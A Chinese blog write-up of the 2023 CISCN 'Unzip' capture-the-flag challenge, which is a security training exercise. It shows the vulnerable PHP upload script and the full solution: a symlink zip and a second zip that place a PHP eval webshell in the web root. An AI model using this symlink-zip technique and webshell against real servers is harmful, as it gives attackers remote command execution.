2023ciscn-Unzip

本文最后更新于 2024年9月2日 晚上

前言:😋,看到好友包师傅每日一题,我也打算开个每日一题,记录一下内容。

题目

[在线靶场][https://ctf.show/challenges#Unzip-4002]

初始界面是一个文件上传,随手上传一个一句话木马,进入页面。

1
2
3
4
5
6
7
8
9
10
 <?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

//only this!

分析

代码做了一个简单的限制,要求的zip文件,这也是一个提示我们需要上传zip文件。

执行命令,在/tmp目录下解压文件内容,这里-o是强覆盖,会覆盖名称一样的文件

众所周知,正常环境的代码需要在/var/www/html下才能执行那题目固定了在tmp下,所以我们要尝试建立tmp和/var/www/html的联系,这里就考察了软链接的知识点。详细教学,可以看这个视频,我们可以通过建立一个软链接先指向,再解压,就可以再/var/www/html有shell了。

解题

首先创建软链接

1
ln -s /var/www/html orange

然后进行第一次压缩

1
zip --symlinks orange1.zip orange

symlinks的作用是不把orange这个软链接当作普通的文件,而是当作指向目录或者文件的存在

写一个一句话木马在shell.php下

1
<?php @eval($_POST['cmd']);?>

然后保存在orange目录下,执行第二次压缩

1
zip -r orange2.zip orange

先上传orange1.zip,进行在靶场上执行的就是解压进行了链接

再上传orange2.zip,这次解压把shell.php解压到了orange的目录下,成功的把shell.php传到了/var/www/html目录下

打开shell.php,执行命令

2024-09-02 203229


2023ciscn-Unzip
http://example.com/2024/09/02/每日一题/2023ciscn-Unzip/
作者
orange
发布于
2024年9月2日
许可协议